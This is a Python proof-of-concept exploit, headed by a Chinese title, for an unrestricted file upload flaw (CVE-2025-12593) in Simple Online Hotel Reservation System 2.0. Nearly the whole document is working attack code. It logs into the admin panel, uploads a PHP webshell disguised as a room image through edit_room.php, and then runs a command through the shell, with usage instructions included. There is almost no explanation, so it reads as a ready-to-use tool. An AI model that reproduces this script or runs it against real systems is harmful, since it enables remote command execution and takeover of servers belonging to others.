CVE-2025-12593 Simple Online Hotel Reservation System 2.0 任意文件上传漏洞

import requests import sys # CVE-2025-12593 PoC - Simple Online Hotel Reservation System 2.0 Unrestricted File Upload # Target: /admin/edit_room.php def exploit(target_url, username, password, webshell_path): """ Exploit for CVE-2025-12593: Unrestricted File Upload in Simple Online Hotel Reservation System Args: target_url: Base URL of the vulnerable application username: Admin username password: Admin password webshell_path: Path to PHP webshell file """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/admin/login.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) print(f"[*] Login attempt status: {response.status_code}") # Step 2: Upload malicious file via edit_room.php upload_url = f"{target_url}/admin/edit_room.php" with open(webshell_path, 'rb') as f: files = { 'room_image': ('shell.php', f, 'application/x-php') } response = session.post(upload_url, files=files, timeout=10) print(f"[*] Upload attempt status: {response.status_code}") # Step 3: Access uploaded webshell webshell_url = f"{target_url}/admin/uploads/shell.php" response = session.get(webshell_url, params={'cmd': 'whoami'}, timeout=10) if response.status_code == 200: print(f"[!] Exploit successful! Webshell accessible at: {webshell_url}") print(f"[*] Command output: {response.text}") return True else: print("[-] Exploit failed. Webshell not accessible.") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <webshell_path>") print(f"Example: python {sys.argv[0]} http://localhost/admin admin password shell.php") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])